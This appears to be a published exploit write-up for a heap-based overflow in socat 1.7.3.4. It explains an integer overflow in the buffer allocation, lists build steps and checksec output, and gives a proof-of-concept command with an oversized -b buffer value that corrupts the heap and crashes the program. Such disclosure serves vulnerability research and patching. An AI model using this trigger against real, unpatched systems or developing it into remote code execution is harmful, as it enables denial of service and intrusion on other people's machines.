# Exploit Title: Socat 1.7.3.4 - Heap Based Overflow (PoC)
# Date: 2020-02-03
# Exploit Author: hieubl from HPT Cyber Security
# Vendor Homepage: http://www.dest-unreach.org/
# Software Link: http://www.dest-unreach.org/socat/
# Version: 1.7.3.4
# Tested on: Ubuntu 16.04.6 LTS
# CVE :

# Heap-Based Overflow due to Integer Overflow and Lack of PIE mitigation (PoC)

------- [***Description***] -------
The source code of socat.c contains _socat() function which has the
Integer Overflow vulnerability:
int _socat(void) {
    ...
    unsigned char *buff;
    ...
    buff = Malloc(2*socat_opts.bufsiz+1)
    ...
}

After that, the the line of code "if ((bytes2 = xiotransfer(sock2,
sock1, &buff, socat_opts.bufsiz, true)) < 0) {" calls the
xiotransfer() function. The xiotransfer() function calls xioread()
function. Finally xioread() function calls Read() function.

ssize_t xioread(xiofile_t *file, void *buff, size_t bufsiz) {

    ...
    Read(pipe->fd, buff, bufsiz); //[***!!!This line of code leads to
Heap-Based Overflow vulnerability***!!!]
    ...
}

In addition, the "Makefile" file does not turn on the Position
Independent Executables (PIE) mitigation (the CFLAGS does not contains
"-pie" flag). By default, Ubuntu 16.04 does not turn on this
mitigation. Consequently, it is easier to exploit the program, may
even lead to Remode Code Execution (RCE).
Reference: https://hackerone.com/reports/415272, $100 bounty for Linux
Desktop application slack executable does not use pie / no ASLR

------- [***Download and build***] -------
Download link: http://www.dest-unreach.org/socat/download/socat-1.7.3.4.tar.gz
$ tar xzvf socat-1.7.3.4.tar.gz
$ cd socat-1.7.3.4/
$ ./configure
Modify "Makefile" file: "CFLAGS = -g -O -D_GNU_SOURCE -Wall
-Wno-parentheses $(CCOPTS) $(DEFS) $(CPPFLAGS)" (add "-g" flag for
debugging purpose)
$ make
$ sudo make install

------- [***Proof of Concept***] -------
$ checksec socat
[*] '/home/natsu/temp/socat-1.7.3.4/socat'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
>>> There is no PIE mitigation!

$ python -c 'print "A"*1000000' > a
$ touch b
$ socat -b9223372036854775888 OPEN:a,readbytes=1000000 OPEN:b,readbytes=1000000

This proof of concept triggers the bugs by setting the buffer size to
0x8000000000000050(9223372036854775888 in decimal). Therefore, the malloc
size is passed to "Malloc(2*socat_opts.bufsiz+1)" is 0x100000000000000a0.
This is equivalent to Malloc(0xa0). The readbytes("readbytes=1000000")
controls the size of reading (we cannot read with the size too large as
0x8000000000000050) with these lines of code: if (pipe->readbytes) { if
(pipe->actbytes == 0) { return 0; } if (pipe->actbytes < bufsiz) { bufsiz =
pipe->actbytes; } } ------- [***Crash logs***] ------- *** Error in
`socat': free(): invalid next size (normal): 0x000000000106a110 ***
